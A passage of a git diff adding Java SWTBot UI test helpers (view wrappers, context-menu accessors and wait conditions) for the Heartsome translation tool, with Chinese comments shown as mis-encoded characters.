DocumentPropertiesView() { + super(HSBot.bot().viewByTitle(TsUIConstants.getString("viewTitleDocumentProperties")).getReference(), HSBot + .bot()); + } + + /** + * @return 文档属性视图实例; + */ + public static SWTBotView getInstance() { + if (view == null) { + view = new DocumentPropertiesView(); + } + return view; + } + + /** + * @return 按钮:接å—; + */ + public SWTBotButton btnAccept() { + return viewBot.button(TsUIConstants.getString("btnAccept")); + } + + /** + * @return 按钮:添加; + */ + public SWTBotButton btnAdd() { + return viewBot.button(TsUIConstants.getString("btnAdd")); + } + + /** + * @return 按钮:å–消; + */ + public SWTBotButton btnCancel() { + return viewBot.button(TsUIConstants.getString("btnCancel")); + } + + /** + * @return 按钮:删除; + */ + public SWTBotButton btnDelete() { + return viewBot.button(TsUIConstants.getString("btnDelete")); + } + + /** + * @return 按钮:编辑; + */ + public SWTBotButton btnEdit() { + return viewBot.button(TsUIConstants.getString("btnEdit")); + } + + /** + * @return 下拉列表:文件; + */ + public SWTBotCombo cmbWLblFile() { + return viewBot.comboBoxWithLabel(TsUIConstants.getString("cmbWLblFile")); + } + + /** + * @return 表格:文件属性; + */ + public SWTBotTable tblProperties() { + return viewBot.table(); + } + + /** + * @return 表格列:属性å称; + */ + public SWTBotTableColumn tblColProperty() { + return tblProperties().header(TsUIConstants.getString("tblColProperty")); + } + + /** + * @return 表格列:属性值; + */ + public SWTBotTableColumn tblColValue() { + return tblProperties().header(TsUIConstants.getString("tblColValue")); + } + + /** + * @return 文本框:客户; + */ + public SWTBotText txtWLblClient() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblClient")); + } + + /** + * @return 文本框:作业日期; + */ + public SWTBotText txtWLblJobDate() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblJobDate")); + } + + /** + * @return 文本框:作业相关信æ¯; + */ + public SWTBotText txtWLblJobInfo() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblJobInfo")); + } + + /** + * @return 文本框:负责人; + */ + public SWTBotText txtWLblOwner() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblOwner")); + } + + /** + * @return 文本框:项目相关信æ¯; + */ + public SWTBotText txtWlblProjectInfo() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWlblProjectInfo")); + } + + /** + * @return 文本框:骨架文件; + */ + public SWTBotText txtWLblSkeleton() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblSkeleton")); + } + + /** + * @return 文本框:原始数æ®ç±»åž‹; + */ + public SWTBotText txtWLblSourceDataType() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblSourceDataType")); + } + + /** + * @return 文本框:æºæ–‡ä»¶ç¼–ç ; + */ + public SWTBotText txtWLblSourceEncoding() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblSourceEncoding")); + } + + /** + * @return 文本框:æºè¯­è¨€; + */ + public SWTBotText txtWLblSourceLanguage() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblSourceLanguage")); + } + + /** + * @return 文本框:目标语言; + */ + public SWTBotText txtWLblTargetLanguage() { + return viewBot.textWithLabel(TsUIConstants.getString("txtWLblTargetLanguage")); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/NotesView.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/NotesView.java new file mode 100644 index 0000000..a162727 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/NotesView.java @@ -0,0 +1,84 @@ +package net.heartsome.cat.ts.test.ui.views; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotView; +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTabItem; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotToolbarButton; + + +/** + * 视图:批注,å•ä¾‹æ¨¡å¼ + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class NotesView extends SWTBotView { + + private SWTBot viewBot = this.bot(); + private static NotesView view; + + /** + * 按å称查找视图 + */ + private NotesView() { + super(HSBot.bot().viewByTitle( + TsUIConstants.getString("viewTitleNotes")).getReference(), HSBot.bot()); + } + + /** + * @return 批注视图实例; + */ + public static NotesView getInstance() { + if (view == null) { + view = new NotesView(); + } + return view; + } + + /** + * @return 工具æ æŒ‰é’®ï¼šæ·»åŠ æ‰¹æ³¨; + */ + public SWTBotToolbarButton tlbBtnAddNote() { + return toolbarButton(TsUIConstants.getString("tlbBtnAddNote")); + } + + /** + * @return 工具æ æŒ‰é’®ï¼šç¼–辑批注; + */ + public SWTBotToolbarButton tlbBtnEditNote() { + return toolbarButton(TsUIConstants.getString("tlbBtnEditNote")); + } + + /** + * @return 工具æ æŒ‰é’®ï¼šåˆ é™¤æ‰¹æ³¨; + */ + public SWTBotToolbarButton tlbBtnDeleteNote() { + return toolbarButton(TsUIConstants.getString("tlbBtnDeleteNote")); + } + + /** + * @return 选项å¡ï¼šæ‰¹æ³¨; + */ + public SWTBotTabItem tabNote() { + return viewBot.tabItem(); + } + + /** + * @param noteIndex + * @return 选项å¡ï¼šæŒ‡å®šåºå·çš„批注; + */ + public SWTBotTabItem tabNote(int noteIndex) { + return viewBot.tabItem(noteIndex); + } + + /** + * @param noteTitle + * @return 选项å¡ï¼šæŒ‡å®šæ ‡é¢˜çš„批注; + */ + public SWTBotTabItem tabNote(String noteTitle) { + return viewBot.tabItem(noteTitle); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/ProjectTreeItem.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/ProjectTreeItem.java new file mode 100644 index 0000000..1f76d08 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/ProjectTreeItem.java @@ -0,0 +1,109 @@ +package net.heartsome.cat.ts.test.ui.views; + +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.waits.IsEditorOpened; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotEditor; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotMenu; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 树节点:指定项目在树上的节点,å•ä¾‹æ¨¡å¼ + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class ProjectTreeItem extends SWTBotTreeItem { + + private String prjName; + private ProjectTreeView ptv = ProjectTreeView.getInstance(); + private static ProjectTreeItem ptn; + + /** + * @param prjName + */ + private ProjectTreeItem(String prjName) { + super(ProjectTreeView.getTree().expandNode(prjName).select().widget); + this.prjName = prjName; + } + + /** + * 获得指定å称的项目所在节点 + * @param prjName + * 指定的项目å称 + * @return TSProjectTreeNode 项目所在的树节点 + */ + public static ProjectTreeItem getInstance(String prjName) { + if (ptn == null) { + ptn = new ProjectTreeItem(prjName); + } + return ptn; + } + + /** + * 选择指定项目中指定类型的文件 + * @param fileType + * 指定的类型,å³é¡¹ç›®çš„第一级å­ç›®å½•ï¼Œé»˜è®¤ç›®å½•æœ‰ï¼šSource, Target, XLIFF, SKL, TMX, TBX, Other + * @param fileName + * 指定的文件å称 + * @return SWTBotTreeItem 指定的文件所在的树节点 + */ + public SWTBotTreeItem selectFile(String fileType, String fileName) { + return this.expandNode(fileType).select(fileName); + } + + /** + * åˆå¹¶æ‰“开当å‰é¡¹ç›®ä¸­çš„所有 XLIFF + */ + public void ctxMenuOpenProjectFiles() { + ptn.select(); + SWTBotMenu openProjectFiles = ptv.ctxMenuOpenProjectFiles(); + openProjectFiles.isEnabled(); // 确认å³é”®èœå•ä¸­çš„打开项目功能å¯ç”¨ + openProjectFiles.click(); // 点击该èœå•é¡¹ + // 确认文件被æˆåŠŸæ‰“å¼€ + SWTBotEditor editor = HSBot.bot().editorByTitle(prjName); + HSBot.bot().waitUntil(new IsEditorOpened(editor)); + } + + /** + * 打开当å‰é¡¹ç›®ä¸­çš„一个 XLIFF 文件 + * @param xlfFileName + * è¦æ‰“开的 XLIFF 文件å称 + */ + public void ctxMenuOpenFile(final String xlfFileName) { + selectFile("XLIFF", xlfFileName); + SWTBotMenu openFiles = ptv.ctxMenuOpenFile(); + openFiles.isEnabled(); + openFiles.click(); + + SWTBotEditor editor = HSBot.bot().editorByTitle(xlfFileName); + HSBot.bot().waitUntil(new IsEditorOpened(editor)); + } + + /** + * 转æ¢å½“å‰é¡¹ç›®ä¸­çš„一个æºæ–‡ä»¶ä¸º XLIFF + * @param srcFileName + * è¦è½¬æ¢çš„æºæ–‡ä»¶å称 + */ + public void ctxMenuConvertFile(String srcFileName) { + selectFile("Source", srcFileName); + SWTBotMenu convertFiles = ptv.ctxMenuConvertSrcFile2Xliff(); + convertFiles.isEnabled(); + convertFiles.click(); + // TODO:确认转æ¢å¯¹è¯æ¡†æ­£ç¡®æ‰“å¼€ + } + + /** + * 转æ¢å½“å‰é¡¹ç›®ä¸­çš„一个 XLIFF 为æºæ ¼å¼ + * @param xlfFileName + * è¦è½¬æ¢ä¸ºæºæ ¼å¼çš„ XLIFF 文件å称 + */ + public void ctxMenuReverseConvertFile(String xlfFileName) { + selectFile("XLIFF", xlfFileName); + SWTBotMenu reverseConvertFile = ptv.ctxMenuConvertXliffFile2Tgt(); + reverseConvertFile.isEnabled(); + reverseConvertFile.click(); + // TODO:确认转æ¢å¯¹è¯æ¡†æ­£ç¡®æ‰“å¼€ + } + +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/ProjectTreeView.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/ProjectTreeView.java new file mode 100644 index 0000000..ef7ec06 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/ProjectTreeView.java @@ -0,0 +1,210 @@ +package net.heartsome.cat.ts.test.ui.views; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.waits.IsEditorOpened; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotEditor; +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotView; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotMenu; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTree; + +/** + * 视图:项目树,å•ä¾‹æ¨¡å¼ + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class ProjectTreeView extends SWTBotView { + + private static SWTBotTree tree; + private static ProjectTreeView view; + + /** + * 按å称查找视图 + */ + private ProjectTreeView() { + super(HSBot.bot().viewByTitle(TsUIConstants.getString("viewTitleProjectTree")).getReference(), HSBot.bot()); + } + + /** + * 得到项目树所在的视图 + * @return TSProjectTreeView 项目树所在的视图 + */ + public static ProjectTreeView getInstance() { + if (view == null) { + view = new ProjectTreeView(); + } + if (tree == null) { + tree = view.bot().tree(); + } + return view; + } + + /** + * 从视图中得到项目树 + * @return SWTBotTree 项目树 + */ + public static SWTBotTree getTree() { + if (tree == null) { + getInstance(); + } + return tree; + } + + /** + * @return å³é”®èœå•ï¼šæ–°å»ºé¡¹ç›®; + */ + public SWTBotMenu ctxMenuNewProject() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuNewProject")); + } + + /** + * @return å³é”®èœå•ï¼šæ–°å»ºå…¶ä»–; + */ + public SWTBotMenu ctxMenuNewOther() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuNewOther")); + } + + /** + * @return å³é”®èœå•ï¼šæ‰“开项目文件 + */ + public SWTBotMenu ctxMenuOpenProjectFiles() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuOpenProjectFiles")); + } + + /** + * @return å³é”®èœå•ï¼šæ‰“开文件 + */ + public SWTBotMenu ctxMenuOpenFile() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuOpenFile")); + } + + /** + * @return å³é”®èœå•ï¼šå¤åˆ¶ + */ + public SWTBotMenu ctxMenuCopy() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuCopy")); + } + + /** + * @return å³é”®èœå•ï¼šç²˜è´´ + */ + public SWTBotMenu ctxMenuPaste() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuPaste")); + } + + /** + * @return å³é”®èœå•ï¼šåˆ é™¤ + */ + public SWTBotMenu ctxMenuDelete() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuDelete")); + } + + /** + * @return å³é”®èœå•ï¼šç§»åŠ¨ + */ + public SWTBotMenu ctxMenuMove() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuMove")); + } + + /** + * @return å³é”®èœå•ï¼šé‡å‘½å + */ + public SWTBotMenu ctxMenuRename() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuRename")); + } + + /** + * @return å³é”®èœå•ï¼šåˆ·æ–°; + */ + public SWTBotMenu ctxMenuRefresh() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuRefresh")); + } + + /** + * @return å³é”®èœå•ï¼šå…³é—­é¡¹ç›®; + */ + public SWTBotMenu ctxMenuCloseProject() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuCloseProject")); + } + + /** + * @return å³é”®èœå•ï¼šå…³é—­æ— å…³é¡¹ç›®; + */ + public SWTBotMenu ctxMenuCloseUnrelatedProjects() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuCloseUnrelatedProjects")); + } + + /** + * @return å³é”®èœå•ï¼šåˆ†å‰² XLIFF 文件; + */ + public SWTBotMenu ctxMenuSplitXLIFF() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuSplitXLIFF")); + } + + /** + * @return å³é”®èœå•ï¼šåˆå¹¶ XLIFF 文件; + */ + public SWTBotMenu ctxMenuMergeXLIFF() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuMergeXLIFF")); + } + + /** + * @return å³é”®èœå•ï¼šé¢„翻译; + */ + public SWTBotMenu ctxMenuPreTranslate() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuPreTranslate")); + } + + /** + * @return å³é”®èœå•ï¼šå“质检查; + */ + public SWTBotMenu ctxMenuQACheck() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuQACheck")); + } + + /** + * @return å³é”®èœå•ï¼šé¡¹ç›®è®¾ç½®; + */ + public SWTBotMenu ctxMenuProjectSetting() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuProjectSetting")); + } + + /** + * @return å³é”®èœå•ï¼šå°†æºæ–‡ä»¶è½¬æ¢ä¸º XLIFF 文件 + */ + public SWTBotMenu ctxMenuConvertSrcFile2Xliff() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuConvertSrcFile2Xliff")); + } + + /** + * @return å³é”®èœå•ï¼šå°† XLIFF 文件转æ¢ä¸ºç›®æ ‡æ–‡ä»¶ + */ + public SWTBotMenu ctxMenuConvertXliffFile2Tgt() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuConvertXliffFile2Tgt")); + } + + /** + * @return å³é”®èœå•ï¼šå±žæ€§; + */ + public SWTBotMenu ctxMenuProperties() { + return tree.contextMenu(TsUIConstants.getString("ctxMenuProperties")); + } + + /* ****** é¼ æ ‡åŒå‡»åŠŸèƒ½ ****** */ + + /** + * åŒå‡»æ‰“å¼€ XLIFF 文件 + * @param prjName + * XLIFF 文件所在的项目å称 + * @param xlfFileName + * è¦æ‰“开的 XLIFF 文件å称 + */ + public static void doubleClickXlfFile(String prjName, final String xlfFileName) { + getTree().expandNode(prjName).expandNode("XLIFF").expandNode(xlfFileName).doubleClick(); + // 确认文件被打开 + SWTBotEditor editor = HSBot.bot().editorByTitle(xlfFileName); + HSBot.bot().waitUntil(new IsEditorOpened(editor)); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/QuickTranslationPanelView.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/QuickTranslationPanelView.java new file mode 100644 index 0000000..5b2f2a0 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/QuickTranslationPanelView.java @@ -0,0 +1,54 @@ +package net.heartsome.cat.ts.test.ui.views; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotView; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotToolbarButton; + +/** + * 视图:快速翻译é¢æ¿ï¼Œå•ä¾‹æ¨¡å¼ + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class QuickTranslationPanelView extends SWTBotView { + + private static QuickTranslationPanelView view; + + /** + * 按å称查找视图 + */ + private QuickTranslationPanelView() { + super(HSBot.bot().viewByTitle(TsUIConstants.getString("viewTitleQuickTranslationPanel")).getReference(), HSBot + .bot()); + } + + /** + * @return 快速翻译视图实例; + */ + public static QuickTranslationPanelView getInstance() { + if (view == null) { + view = new QuickTranslationPanelView(); + } + return view; + } + + /* 按钮 */ + + /** + * @return 工具æ æŒ‰é’®ï¼šæŽ¥å—匹é…; + */ + public SWTBotToolbarButton tlbBtnAcceptMatch() { + return toolbarButton(TsUIConstants.getString("tlbBtnAcceptMatch")); + } + + /** + * @return 工具æ æŒ‰é’®ï¼šä»…接å—文本; + */ + public SWTBotToolbarButton tlbBtnAcceptTextOnly() { + return toolbarButton(TsUIConstants.getString("tlbBtnAcceptTextOnly")); + } + + // TODO 待实现 +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/TerminologyPanelView.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/TerminologyPanelView.java new file mode 100644 index 0000000..990b087 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/TerminologyPanelView.java @@ -0,0 +1,43 @@ +package net.heartsome.cat.ts.test.ui.views; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.test.swtbot.utils.HSBot; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotView; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotToolbarButton; + +/** + * 视图:术语é¢æ¿ï¼Œå•ä¾‹æ¨¡å¼ + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class TerminologyPanelView extends SWTBotView { + + private static TerminologyPanelView view; + + /** + * 按å称查找视图 + */ + private TerminologyPanelView() { + super(HSBot.bot().viewByTitle(TsUIConstants.getString("viewTitleTerminologyPanel")).getReference(), HSBot.bot()); + } + + /** + * @return 术语视图实例; + */ + public static TerminologyPanelView getInstance() { + if (view == null) { + view = new TerminologyPanelView(); + } + return view; + } + + /** + * @return 工具æ æŒ‰é’®ï¼šæ’入术语; + */ + public SWTBotToolbarButton tlbBtnInsertTerm() { + return toolbarButton(TsUIConstants.getString("tlbBtnInsertTerm")); + } + // TODO 待实现 +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/TmMatchesPanelView.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/TmMatchesPanelView.java new file mode 100644 index 0000000..c35c224 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/views/TmMatchesPanelView.java @@ -0,0 +1,120 @@ +package net.heartsome.cat.ts.test.ui.views; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.tasks.TsTasks; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.HsSWTBotStyledText; + +import org.eclipse.swtbot.eclipse.finder.widgets.SWTBotView; +import org.eclipse.swtbot.swt.finder.SWTBot; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotToolbarButton; + +/** + * 视图:记忆库匹é…é¢æ¿ï¼Œå•ä¾‹æ¨¡å¼ + * @author felix_lu + * @version + * @since JDK1.6 + */ +public final class TmMatchesPanelView extends SWTBotView { + + private SWTBot viewBot = bot(); + private static TmMatchesPanelView view; + + /** + * 按å称查找视图 + */ + private TmMatchesPanelView() { + super(HSBot.bot().viewByTitle(TsUIConstants.getString("viewTitleTmMatchesPanel")).getReference(), HSBot.bot()); + } + + /** + * @return 记忆库匹é…é¢æ¿è§†å›¾å®žä¾‹; + */ + public static TmMatchesPanelView getInstance() { + if (view == null) { + view = new TmMatchesPanelView(); + } + return view; + } + + /** + * @return 工具æ æŒ‰é’®ï¼šæŽ¥å—匹é…; + */ + public SWTBotToolbarButton tlbBtnAcceptMatch() { + return toolbarButton(TsUIConstants.getString("tlbBtnAcceptMatch")); + } + + /** + * @return 工具æ æŒ‰é’®ï¼šä»…接å—文本; + */ + public SWTBotToolbarButton tlbBtnAcceptTextOnly() { + return toolbarButton(TsUIConstants.getString("tlbBtnAcceptTextOnly")); + } + + /** + * @return 工具æ æŒ‰é’®ï¼šåœ¨è®°å¿†åº“中标记匹é…; + */ + public SWTBotToolbarButton tlbBtnFlagMatchInTm() { + return toolbarButton(TsUIConstants.getString("tlbBtnFlagMatchInTm")); + } + + /** + * @return 工具æ æŒ‰é’®ï¼šæ˜¾ç¤º/éšè—匹é…属性; + */ + public SWTBotToolbarButton tlbBtnToggleMatchDetail() { + return toolbarButton(TsUIConstants.getString("tlbBtnToggleMatchDetail")); + } + + /** + * @return StyledText:匹é…æºæ–‡æœ¬; + */ + public HsSWTBotStyledText matchSourceText() { + return new HsSWTBotStyledText(viewBot.styledText(0).widget); + } + + /** + * @return StyledText:匹é…目标文本; + */ + public HsSWTBotStyledText matchTargetText() { + return new HsSWTBotStyledText(viewBot.styledText(1).widget); + } + + /** + * @return 文本:匹é…的修改日期值; + */ + public String matchDetailModifyDate() { + return getMatchDetail(TsUIConstants.getString("matchDetailModifyDate")); + } + + /** + * @return 文本:匹é…çš„æ¥æºå€¼; + */ + public String matchDetailOriginTM() { + return getMatchDetail(TsUIConstants.getString("matchDetailOriginTM")); + } + + /** + * @return 文本:匹é…的修改人值; + */ + public String matchDetailJobOwner() { + return getMatchDetail(TsUIConstants.getString("matchDetailJobOwner")); + } + + /** + * @return 文本:匹é…的作业相关信æ¯å€¼; + */ + public String matchDetailJobInfo() { + return getMatchDetail(TsUIConstants.getString("matchDetailJobInfo")); + } + + /** + * @param key + * @return 文本:匹é…ä¿¡æ¯ä¸­æŒ‡å®š key 对应的值; + */ + public String getMatchDetail(String key) { + String text = viewBot.label().getText(); + String groupSign = TsUIConstants.getString("matchDetailGroupSign"); + String delimiter = TsUIConstants.getString("matchDetailDelimiter"); + return TsTasks.getStatusValueByKey(text, groupSign, delimiter, key); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsCellEditMode.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsCellEditMode.java new file mode 100644 index 0000000..8fc3510 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsCellEditMode.java @@ -0,0 +1,51 @@ +package net.heartsome.cat.ts.test.ui.waits; + +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.utils.XliffUtil; + +import org.eclipse.swtbot.swt.finder.waits.DefaultCondition; + +/** + * 判断编辑器å•å…ƒæ ¼æ˜¯å¦ä¸ºç¼–辑状æ€ã€‚ + */ +public class IsCellEditMode extends DefaultCondition { + + private XlfEditor editor; + private String styledText; + private String styledTextNotNull; + private String expectedTextNotNull; + // 用 InnerTagUtil å°† NatTable 中直接å–到的纯文本转为简å•æ ‡è®°å½¢å¼æ˜¾ç¤ºçš„文本 + private String taggedText; + + /** + * @param editor + * XlfEditor 对象,自动从其中得到编辑模å¼ä¸­çš„ StyledText 内容 + * @param expectedTextNotNull + * 预期的文本,用于对比判断从 XlfEditor 中得到的 StyledText 是å¦ä¸Žè¯¥é¢„期内容一致 + */ + public IsCellEditMode(XlfEditor editor, String expectedTextNotNull) { + this.editor = editor; + this.expectedTextNotNull = expectedTextNotNull; + taggedText = XliffUtil.tagged(expectedTextNotNull); + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#test() + */ + public boolean test() throws Exception { + styledText = editor.getStyledText().getText(); + // 该样å¼æ–‡æœ¬æ¡†æ²¡æœ‰å€¼æ—¶å½“ä½œç©ºå­—ç¬¦ä¸²å¤„ç† + styledTextNotNull = (styledText == null ? "" : styledText); + // 若编辑器为显示标记æºæ–‡æœ¬çŠ¶æ€ï¼Œåˆ™ç›´æŽ¥å¯¹æ¯”从 NatTable å–到的纯文本; + // 若为显示简å•æ ‡è®°çŠ¶æ€ï¼Œåˆ™å¯¹æ¯”按 InnerTagUtil 处ç†åŽçš„æ ·å¼æ–‡æœ¬ã€‚ + // 从界é¢ä¸Šæ— æ³•ç›´æŽ¥å–到标记的显示状æ€ï¼Œæ‰€ä»¥åªè¦è¿™ä¸¤ä¸ªå¯¹æ¯”结果中任一个æˆç«‹å³å¯ã€‚ + return expectedTextNotNull.equals(styledTextNotNull) || taggedText.equals(styledTextNotNull); + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#getFailureMessage() + */ + public String getFailureMessage() { + return "以下预期内容的å•å…ƒæ ¼æœªè¿›å…¥ç¼–辑模å¼ï¼š" + expectedTextNotNull; + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsEditorLayoutHorizontal.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsEditorLayoutHorizontal.java new file mode 100644 index 0000000..599922d --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsEditorLayoutHorizontal.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.ts.test.ui.waits; + +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; + +import org.eclipse.swtbot.swt.finder.waits.DefaultCondition; + +/** + * 判断编辑器是å¦ä¸ºæ°´å¹³å¸ƒå±€ã€‚ + */ +public class IsEditorLayoutHorizontal extends DefaultCondition { + + private XlfEditor xlfEditor; + + /** + * 判断编辑器是å¦ä¸ºæ°´å¹³å¸ƒå±€ + * @param xlfEditor + */ + public IsEditorLayoutHorizontal(XlfEditor xlfEditor) { + this.xlfEditor = xlfEditor; + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#test() + */ + public boolean test() throws Exception { + return xlfEditor.isHorizontalLayout(); + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#getFailureMessage() + */ + public String getFailureMessage() { + return "该编辑器ä¸æ˜¯æ°´å¹³å¸ƒå±€ï¼š" + xlfEditor.getTitle(); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsEditorLayoutVertical.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsEditorLayoutVertical.java new file mode 100644 index 0000000..342a5ad --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsEditorLayoutVertical.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.ts.test.ui.waits; + +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; + +import org.eclipse.swtbot.swt.finder.waits.DefaultCondition; + +/** + * 判断编辑器是å¦ä¸ºåž‚直布局。 + */ +public class IsEditorLayoutVertical extends DefaultCondition { + + private XlfEditor xlfEditor; + + /** + * 判断编辑器是å¦ä¸ºåž‚直布局 + * @param xlfEditor + */ + public IsEditorLayoutVertical(XlfEditor xlfEditor) { + this.xlfEditor = xlfEditor; + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#test() + */ + public boolean test() throws Exception { + return !xlfEditor.isHorizontalLayout(); + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#getFailureMessage() + */ + public String getFailureMessage() { + return "该编辑器ä¸æ˜¯åž‚直布局:" + xlfEditor.getTitle(); + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsProjectExist.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsProjectExist.java new file mode 100644 index 0000000..cff6701 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsProjectExist.java @@ -0,0 +1,50 @@ +package net.heartsome.cat.ts.test.ui.waits; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; + +import org.eclipse.swtbot.swt.finder.waits.DefaultCondition; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 判断项目是å¦å‡ºçŽ°åœ¨é¡¹ç›®å¯¼èˆªæ ‘上。 + */ +public class IsProjectExist extends DefaultCondition { + + private String projectName; + + /** + * 判断项目是å¦å‡ºçŽ°åœ¨é¡¹ç›®å¯¼èˆªæ ‘上。 + * @param projectName + * 从项目树中查找匹é…的项目å称。 + */ + public IsProjectExist(String projectName) { + assertTrue("项目å称ä¸èƒ½ä¸ºç©ºæˆ– null。", (projectName != null && !"".equals(projectName))); + this.projectName = projectName; + } + + /** + * (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#test() + */ + public boolean test() throws Exception { + boolean result = false; + 